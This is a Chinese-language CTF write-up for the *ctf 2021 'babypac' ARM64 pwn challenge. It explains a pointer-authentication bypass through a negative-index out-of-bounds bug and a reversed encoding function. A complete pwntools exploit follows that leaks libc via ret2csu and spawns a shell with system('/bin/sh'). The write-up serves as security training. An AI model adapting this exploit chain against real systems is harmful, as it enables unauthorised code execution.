*ctf 2021 babypac

*ctf 2021 babypac

这题还挺有意思的,考察了armv8里的pac这个东西。通俗点说就是在ret的高位加了一个签名,为了防止直接栈溢出,比如0x412080这个ret地址,pac之后会变成0x1f000000412080 。这个1f就是随机生成的签名。
在这里插入图片描述
在这里插入图片描述
回到题目可以看到在auth里有一个栈溢出漏洞,想要触发这个栈溢出漏洞必须满足v1=idx,而idx是enc(0x10A9FC70042LL);这个enc是一个加密函数,需要把里面的加密给逆一下。
在这里插入图片描述
在add里面定义了id和lock,lock为0
在这里插入图片描述
在lock里面将对应输入的下标给加密并对id重新赋值,lock变为1
在这里插入图片描述
show功能没什么好说的
综上可知在lock和auth这两个函数里idx并没有判断负数情况,所以有一个oob。
在这里插入图片描述
idx为-2的时候刚好可以改到name_addr的首地址。
攻击思路仔细思考一下,满足auth的v1=idx进行栈溢出然后利用ret2csu来getshell
目前的难点有一个如何满足auth的条件。
其实可以借助oob将v1 = *&name_addr[16 * idx + 32];变成v1 = *&name_addr[16 * -1 + 32];并在name这里布置好数据即可,可以使用lock(-1),也就是将idx = read_input() = 0x10A9FC70042,idx = enc(heap_ptr[-1].id); heap_ptr[-1].id = enc(0x10A9FC70042);此时就会满足v1=idx的条件。获得栈溢出的机会
但是现在又有难点来了,之前说到过的pac机制,ret不能直接覆盖,所以我们还需要将地址给泄露出来。可以将csu的gadget放到name_addr的首地址然后利用lock(-2)这样就可以show出这个地址了。
在这里插入图片描述
这个在栈溢出的时候就可以覆盖ret了,后面的后续利用就是泄露出libc,算出system,并将system和bin_sh放到bss里面,这样最后直接利用ret2csu执行system(‘/bin/sh’)即可。
exp如下

from pwn import *

context(arch='aarch64', os='linux', log_level='debug')

file_name = './chall'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()

menu = '>> '

def add(identity):
    r.sendlineafter(menu, '1')
    r.sendlineafter('identity: ', str(identity))

def lock(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('idx: ', str(index))

def show():
    r.sendlineafter(menu, '3')

def auth(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('idx: ', str(index))

# return a1 ^ (a1 << 7) ^ ((a1 ^ (a1 << 7)) >> 11) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (a1 << 7)) >> 11)) << 31) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (a1 << 7))
def ppp_left(content, shift, num = 64):
    tmp = content
    for i in range(num // shift):
        tmp = content ^ tmp << shift
    tmp = tmp & (2 ** 64 - 1)
    return tmp

def ppp_right(content, shift, num = 64):
    tmp = content
    for i in range(num // shift):
        tmp = content ^ tmp >> shift
    tmp = tmp & (2 ** 64 - 1)
    return tmp

def ppp(content):
    content = ppp_right(content, 13)
    content = ppp_left(content, 31)
    content = ppp_right(content, 11)
    content = ppp_left(content, 7)
    return content


csu_gadget1 = 0x400FF8
csu_gadget2 = 0x400FD8

def exp():
    global encode_csu_gadget1
    global decode_csu_gadget1
    p1 = p64(csu_gadget1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    r.sendafter('input your name: ', p1)
    lock(-2)
    show()
    r.recvuntil('name: ')
    encode_csu_gadget1 = u64(r.recvuntil(b"\x01\n", drop=True))
    li('encode_csu_gadget1 = ' + hex(encode_csu_gadget1))
    decode_csu_gadget1 = ppp(encode_csu_gadget1)
    li('decode_csu_gadget1 = ' + hex(decode_csu_gadget1))

    lock(-1)
    auth(-1)

exp()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']

main_addr = 0x400F5C

def ret2csu(call, first, second, third, p1 = main_addr, p2 = main_addr, jmp = csu_gadget2, ret = csu_gadget2):
    p = p64(0) + p64(jmp)
    p += p64(0) + p64(1)
    p += p64(call) + p64(first) + p64(second) + p64(third)
    p += p64(p1) + p64(p2) + p64(ret)
    return p

p1 = b'a' * (0x20 + 8) + p64(decode_csu_gadget1)
p1 += ret2csu(puts_got, puts_got, 0, 0)
r.sendline(p1)

puts_addr = u64(r.recvuntil(b"\n", drop=True).ljust(8, b'\x00')) #+ 0x4000000000000000
li('puts_addr = ' + hex(puts_addr))
libc = ELF('./lib/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
mprotect_addr = libc_base + libc.sym['mprotect']
li('mprotect_addr = ' + hex(mprotect_addr))
system_addr = libc_base + libc.sym['system']

exp()
bss_addr = 0x412070
p2 = b'a' * (0x20 + 8) + p64(decode_csu_gadget1)
p2 += ret2csu(read_got, 0, bss_addr, 0x100)
r.sendline(p2)
r.sendline(p64(system_addr) + b'/bin/sh\x00')
exp()

p3 = b'a' * (0x20 + 8) + p64(decode_csu_gadget1)
p3 += ret2csu(bss_addr, bss_addr + 8, 0, 0)
r.sendline(p3)

#dbg()
r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值